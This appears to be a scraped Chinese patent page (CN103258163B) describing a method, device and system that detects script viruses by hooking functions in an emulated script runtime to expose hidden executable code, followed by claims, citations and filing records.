通过在所述脚本文件运行环境中加载并运行待查脚本,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码;
判断所述可执行代码是否符合所述病毒特征,如果是,报告所述待查脚本为脚本病毒。
可选的,还包括:通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定初始化特征条件;
在查找所述待查脚本中的特征函数之前,通过在所述脚本文件运行环境中加载并运行待查脚本,判断所述待查脚本是否符合所述初始化特征条件;当所述待查脚本符合所述初始化特征条件时,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码。
可选的,所述设定初始化特征条件,包括:
声明特征初始化全局变量与特征初始化函数;设定利用所述特征初始化全局变量,调用所述特征初始化函数时的第一执行结果为初始化条件。
可选的,所述判断所述待查脚本是否符合所述初始化特征条件,包括:
所述待查脚本利用所述特征初始化全局变量,调用所述特征初始化函数产生第二执行结果,判断所述第二执行结果是否与所述初始化特征条件相同,如果是,则所述待查脚本符合所述初始化特征条件,如果否,则所述待查脚本不符合所述初始化特征条件。
可选的,所述获得所述特征函数中的可执行代码,包括:
当所述特征函数中的函数体为可执行代码时,直接获得所述特征函数中的可执行代码;
当所述特征函数中的函数体嵌套子函数时,通过运行所述特征函数中嵌套的子函数,获得所述特征函数中的可执行代码。
可选的,在通过在所述脚本文件运行环境中运行待查脚本之前,还包括:
判断待查文件是否为脚本文件,当所述待查文件为脚本文件时,所述待查文件直接作为待查脚本,当所述待查文件不是脚本文件且所述待查文件中包含脚本文件时,提取所述待查文件中的脚本文件作为待查脚本。
可选的,还包括:
特征病毒库中包括多个特征脚本,重复执行步骤在所述脚本文件运行环境中加载并运行特征脚本及后续步骤,直到报告所述待查脚本为脚本病毒或全部特征脚本完成在所述脚本文件运行环境中加载并运行。
由此可见,本发明实施例通过在脚本文件运行环境中加载并运行特征脚本以及待查脚本,预设初始化特征条件,如果待查脚本符合初始化特征条件则其可能是脚本病毒,该待查脚本将会在预先模拟出的脚本病毒的运行环境中继续运行,直到查找到特征函数,特征函数是用于执行其包含的可执行代码的;利用特征函数捕获函数替换对应的特征函数,使特征函数并不执行其包含的可执行代码,而是利用特征函数捕获函数仅获得特征函数中的可执行代码,这样,待查脚本就暴露了其真正的可执行行为是什么;此时,通过待查脚本中所隐藏的真正的可执行代码进行病毒特征的扫描,从而可以达到运行一个特征脚本而命中具有相同恶意行为的一类病毒,因此,本发明实施例具有脚本病毒识别命中率提高的效果。
需要说明的是,本说明书中各个实施例采用递进的方式描述,每个实施例重点说明的都是与其他实施例的不同之处,各个实施例之间相同相似部分互相参见即可。对于实施例公开的系统或装置而言,由于其与实施例公开的方法相对应,所以描述的比较简单,相关之处参见方法部分说明即可。
还需要说明的是,在本文中,诸如第一和第二等之类的关系术语仅仅用来将一个实体或者操作与另一个实体或操作区分开来,而不一定要求或者暗示这些实体或操作之间存在任何这种实际的关系或者顺序。而且,术语“包括”、“包含”或者其任何其他变体意在涵盖非排他性的包含,从而使得包括一系列要素的过程、方法、物品或者设备不仅包括那些要素,而且还包括没有明确列出的其他要素,或者是还包括为这种过程、方法、物品或者设备所固有的要素。在没有更多限制的情况下,由语句“包括一个......”限定的要素,并不排除在包括所述要素的过程、方法、物品或者设备中还存在另外的相同要素。
结合本文中所公开的实施例描述的方法或算法的步骤可以直接用硬件、处理器执行的软件模块,或者二者的结合来实施。软件模块可以置于随机存储器(RAM)、内存、只读存储器(ROM)、电可编程ROM、电可擦除可编程ROM、寄存器、硬盘、可移动磁盘、CD-ROM、或技术领域内所公知的任意其它形式的存储介质中。
对所公开的实施例的上述说明,使本领域专业技术人员能够实现或使用本发明。对这些实施例的多种修改对本领域的专业技术人员来说将是显而易见的,本文中所定义的一般原理可以在不脱离本发明的精神或范围的情况下,在其它实施例中实现。因此,本发明将不会被限制于本文所示的这些实施例,而是要符合与本文所公开的原理和新颖特点相一致的最宽的范围。
Claims (12)
1.一种脚本病毒识别方法,其特征在于,所述方法包括:
加载脚本文件运行环境;
通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定特征函数捕获函数、所述特征函数捕获函数与特征函数的对应关系以及病毒特征;
通过在所述脚本文件运行环境中加载并运行待查脚本,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码;所述获得所述特征函数中的可执行代码,包括:当所述特征函数中的函数体为可执行代码时,直接获得所述特征函数中的可执行代码;当所述特征函数中的函数体嵌套子函数时,通过运行所述特征函数中嵌套的子函数,获得所述特征函数中的可执行代码;
判断所述可执行代码是否符合所述病毒特征,如果是,报告所述待查脚本为脚本病毒。
2.根据权利要求1所述的方法,其特征在于,所述方法还包括:通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定初始化特征条件;
在查找所述待查脚本中的特征函数之前,通过在所述脚本文件运行环境中加载并运行待查脚本,判断所述待查脚本是否符合所述初始化特征条件;当所述待查脚本符合所述初始化特征条件时,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码。
3.根据权利要求2所述的方法,其特征在于,所述设定初始化特征条件,包括:
声明特征初始化全局变量与特征初始化函数;设定利用所述特征初始化全局变量,调用所述特征初始化函数时的第一执行结果为初始化条件。
4.根据权利要求3所述的方法,其特征在于,所述判断所述待查脚本是否符合所述初始化特征条件,包括:
所述待查脚本利用所述特征初始化全局变量,调用所述特征初始化函数产生第二执行结果,判断所述第二执行结果是否与所述初始化特征条件相同,如果是,则所述待查脚本符合所述初始化特征条件,如果否,则所述待查脚本不符合所述初始化特征条件。
5.根据权利要求1所述的方法,其特征在于,在通过在所述脚本文件运行环境中运行待查脚本之前,所述方法还包括:
判断待查文件是否为脚本文件,当所述待查文件为脚本文件时,所述待查文件直接作为待查脚本,当所述待查文件不是脚本文件且所述待查文件中包含脚本文件时,提取所述待查文件中的脚本文件作为待查脚本。
6.根据权利要求1所述的方法,其特征在于,所述方法还包括:
特征病毒库中包括多个特征脚本,重复执行步骤在所述脚本文件运行环境中加载并运行特征脚本及后续步骤,直到报告所述待查脚本为脚本病毒或全部特征脚本完成在所述脚本文件运行环境中加载并运行。
7.一种脚本病毒识别装置,其特征在于,所述装置包括:
加载单元,用于加载脚本文件运行环境;
初始化单元,用于通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定特征函数捕获函数、所述特征函数捕获函数与特征函数的对应关系以及病毒特征;
获得单元,用于通过在所述脚本文件运行环境中加载并运行待查脚本,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码;
所述获得单元包括:查找子单元,用于通过在所述脚本文件运行环境中加载并运行待查脚本,查找所述待查脚本中的特征函数;替换子单元,用于利用所述特征函数捕获函数替换对应的特征函数;获得子单元,用于当所述特征函数中的函数体为可执行代码时,直接获得所述特征函数中的可执行代码;当所述特征函数中的函数体嵌套子函数时,通过运行所述特征函数中嵌套的子函数,获得所述特征函数中的可执行代码;
第二判断单元,用于判断所述可执行代码是否符合所述病毒特征;
病毒报告单元,用于当所述可执行代码符合所述病毒特征时,报告所述待查脚本为脚本病毒。
8.根据权利要求7所述的装置,其特征在于,所述初始化单元还用于:通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定初始化特征条件;
所述装置还包括:
第一判断单元,用于通过在所述脚本文件运行环境中加载并运行待查脚本,判断所述待查脚本是否符合所述初始化特征条件;
所述获得单元,用于通过在所述脚本文件运行环境中加载并运行待查脚本,当所述待查脚本符合所述初始化特征条件时,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码。
9.根据权利要求8所述的装置,其特征在于,所述初始化单元包括:
第一设定子单元,用于通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中声明特征初始化全局变量与特征初始化函数;设定利用所述特征初始化全局变量,调用所述特征初始化函数时的第一执行结果为初始化条件;
第二设定子单元,用于声明特征函数捕获函数、所述特征函数捕获函数与特征函数的对应关系以及设定病毒特征。
10.根据权利要求9所述的装置,其特征在于,所述第一判断单元具体用于:
通过在所述脚本文件运行环境中加载并运行待查脚本,所述待查脚本利用所述特征初始化全局变量,调用所述特征初始化函数产生第二执行结果,判断所述第二执行结果是否与所述初始化特征条件相同,如果是,则所述待查脚本符合所述初始化特征条件,如果否,则所述待查脚本不符合所述初始化特征条件。
11.根据权利要求7所述的装置,其特征在于,所述装置还包括:
提取待查脚本单元,判断待查文件是否为脚本文件,当所述待查文件为脚本文件时,所述待查文件直接作为待查脚本,当所述待查文件不是脚本文件且所述待查文件中包含脚本文件时,提取所述待查文件中的脚本文件作为待查脚本。
12.一种脚本病毒识别系统,其特征在于,所述系统包括:
特征病毒库以及病毒识别引擎;
所述特征病毒库,用于保存多个特征脚本;
所述病毒识别引擎是权利要求7-11任一项所述的脚本病毒识别装置。
Priority Applications (3)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN201310179635.8A CN103258163B (zh) | 2013-05-15 | 2013-05-15 | 一种脚本病毒识别方法、装置及系统 |
PCT/CN2014/076085 WO2014183545A1 (en) | 2013-05-15 | 2014-04-24 | Method,device and system for identifying script virus |
US14/614,171 US20150169874A1 (en) | 2013-05-15 | 2015-02-04 | Method, device, and system for identifying script virus |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN201310179635.8A CN103258163B (zh) | 2013-05-15 | 2013-05-15 | 一种脚本病毒识别方法、装置及系统 |
Publications (2)
Publication Number | Publication Date |
---|---|
CN103258163A CN103258163A (zh) | 2013-08-21 |
CN103258163B true CN103258163B (zh) | 2015-08-26 |
Family
ID=48962071
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN201310179635.8A Active CN103258163B (zh) | 2013-05-15 | 2013-05-15 | 一种脚本病毒识别方法、装置及系统 |
Country Status (3)
Country | Link |
---|---|
US (1) | US20150169874A1 (zh) |
CN (1) | CN103258163B (zh) |
WO (1) | WO2014183545A1 (zh) |
Families Citing this family (9)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN103258163B (zh) * | 2013-05-15 | 2015-08-26 | 腾讯科技(深圳)有限公司 | 一种脚本病毒识别方法、装置及系统 |
CN103905422B (zh) * | 2013-12-17 | 2017-04-26 | 哈尔滨安天科技股份有限公司 | 一种本地模拟请求辅助查找webshell的方法及系统 |
CN104850782B (zh) * | 2014-02-18 | 2019-05-14 | 腾讯科技(深圳)有限公司 | 匹配病毒特征的方法及装置 |
CN104537306A (zh) * | 2015-01-13 | 2015-04-22 | 百度在线网络技术(北京)有限公司 | 识别病毒文件的方法及装置 |
CN106815524B (zh) * | 2015-11-27 | 2020-05-15 | 阿里巴巴集团控股有限公司 | 恶意脚本文件的检测方法及装置 |
CN106909843A (zh) * | 2015-12-22 | 2017-06-30 | 北京奇虎科技有限公司 | 一种计算机病毒的检测方法及装置 |
US10191831B2 (en) | 2016-06-08 | 2019-01-29 | Cylance Inc. | Macro-script execution control |
WO2019089720A1 (en) * | 2017-10-31 | 2019-05-09 | Bluvector, Inc. | Malicious script detection |
CN108319822B (zh) * | 2018-01-05 | 2020-05-12 | 武汉斗鱼网络科技有限公司 | 一种保护网页代码的方法、存储介质、电子设备和系统 |
Citations (3)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN1983295A (zh) * | 2005-12-12 | 2007-06-20 | 北京瑞星国际软件有限公司 | 病毒识别方法及装置 |
CN101587522A (zh) * | 2009-06-17 | 2009-11-25 | 北京东方微点信息技术有限责任公司 | 识别脚本病毒的方法及系统 |
US7636945B2 (en) * | 2000-07-14 | 2009-12-22 | Computer Associates Think, Inc. | Detection of polymorphic script language viruses by data driven lexical analysis |
Family Cites Families (9)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
US7013483B2 (en) * | 2003-01-03 | 2006-03-14 | Aladdin Knowledge Systems Ltd. | Method for emulating an executable code in order to detect maliciousness |
US20070107057A1 (en) * | 2005-11-10 | 2007-05-10 | Docomo Communications Laboratories Usa, Inc. | Method and apparatus for detecting and preventing unsafe behavior of javascript programs |
US20070113282A1 (en) * | 2005-11-17 | 2007-05-17 | Ross Robert F | Systems and methods for detecting and disabling malicious script code |
US8914879B2 (en) * | 2010-06-11 | 2014-12-16 | Trustwave Holdings, Inc. | System and method for improving coverage for web code |
CN102819698B (zh) * | 2011-12-27 | 2015-05-20 | 腾讯科技(深圳)有限公司 | 检测网页中恶意代码的方法及装置 |
CN102622543B (zh) * | 2012-02-06 | 2016-08-03 | 北京百度网讯科技有限公司 | 一种动态检测恶意网页脚本的方法和装置 |
CN102663296B (zh) * | 2012-03-31 | 2015-01-07 | 杭州安恒信息技术有限公司 | 面向网页JavaScript恶意代码的智能检测方法 |
US20140123282A1 (en) * | 2012-11-01 | 2014-05-01 | Fortinet, Inc. | Unpacking flash exploits with an actionscript emulator |
CN103258163B (zh) * | 2013-05-15 | 2015-08-26 | 腾讯科技(深圳)有限公司 | 一种脚本病毒识别方法、装置及系统 |
-
2013
- 2013-05-15 CN CN201310179635.8A patent/CN103258163B/zh active Active
-
2014
- 2014-04-24 WO PCT/CN2014/076085 patent/WO2014183545A1/en active Application Filing
-
2015
- 2015-02-04 US US14/614,171 patent/US20150169874A1/en not_active Abandoned
Patent Citations (3)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
US7636945B2 (en) * | 2000-07-14 | 2009-12-22 | Computer Associates Think, Inc. | Detection of polymorphic script language viruses by data driven lexical analysis |
CN1983295A (zh) * | 2005-12-12 | 2007-06-20 | 北京瑞星国际软件有限公司 | 病毒识别方法及装置 |
CN101587522A (zh) * | 2009-06-17 | 2009-11-25 | 北京东方微点信息技术有限责任公司 | 识别脚本病毒的方法及系统 |
Non-Patent Citations (1)
Title |
---|
《网络脚本病毒的统计分析方法》;何申 等;《计算机学报》;20060630;第969-975页 * |
Also Published As
Publication number | Publication date |
---|---|
WO2014183545A1 (en) | 2014-11-20 |
US20150169874A1 (en) | 2015-06-18 |
CN103258163A (zh) | 2013-08-21 |
Similar Documents
Publication | Publication Date | Title |
---|---|---|
CN103258163B (zh) | 一种脚本病毒识别方法、装置及系统 | |
CN103400076B (zh) | 一种移动终端上的恶意软件检测方法、装置和系统 | |
CN104978115A (zh) | 内容显示方法及装置 | |
CN103368958A (zh) | 一种网页检测方法、装置和系统 | |
CN104123120B (zh) | 一种浏览器页面数据过滤方法、装置和系统 | |
CN104978176A (zh) | 应用程序接口调用方法及装置 | |
CN104518875A (zh) | 一种身份验证及账号获取的方法、移动终端 | |
CN104135728B (zh) | 网络连接方法及装置 | |
CN103177217B (zh) | 一种文件扫描方法、系统及客户端和服务器 | |
CN104135502B (zh) | 一种实现应用消息提醒的方法、相关设备及系统 | |
CN103345602A (zh) | 一种客户端代码完整性检测方法、装置和系统 | |
CN104123276A (zh) | 一种浏览器中弹窗的拦截方法、装置和系统 | |
CN104850406A (zh) | 一种切换页面的方法和装置 | |
CN104065693A (zh) | 一种网页应用中网络数据的访问方法、装置和系统 | |
CN104636664A (zh) | 基于文档对象模型的跨站脚本攻击漏洞检测方法及装置 | |
CN106789866B (zh) | 一种检测恶意网址的方法及装置 | |
CN105530239A (zh) | 多媒体数据获取方法及装置 | |
CN103246847B (zh) | 一种宏病毒查杀的方法和装置 | |
CN103327029B (zh) | 一种恶意网址的检测方法和设备 | |
CN104391629A (zh) | 定向发送消息的方法、显示消息的方法、服务器及终端 | |
CN104123210B (zh) | 测试浏览器性能的方法、设备和系统 | |
CN104426848A (zh) | 登录网页应用的方法和系统 | |
CN104346128A (zh) | 声音事件的执行方法和设备 | |
CN106341150A (zh) | 载波聚合的射频电路及移动终端 | |
CN103310155B (zh) | 一种查找病毒母体的方法和装置 |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
C06 | Publication | ||
PB01 | Publication | ||
C10 | Entry into substantive examination | ||
SE01 | Entry into force of request for substantive examination | ||
C14 | Grant of patent or utility model | ||
GR01 | Patent grant |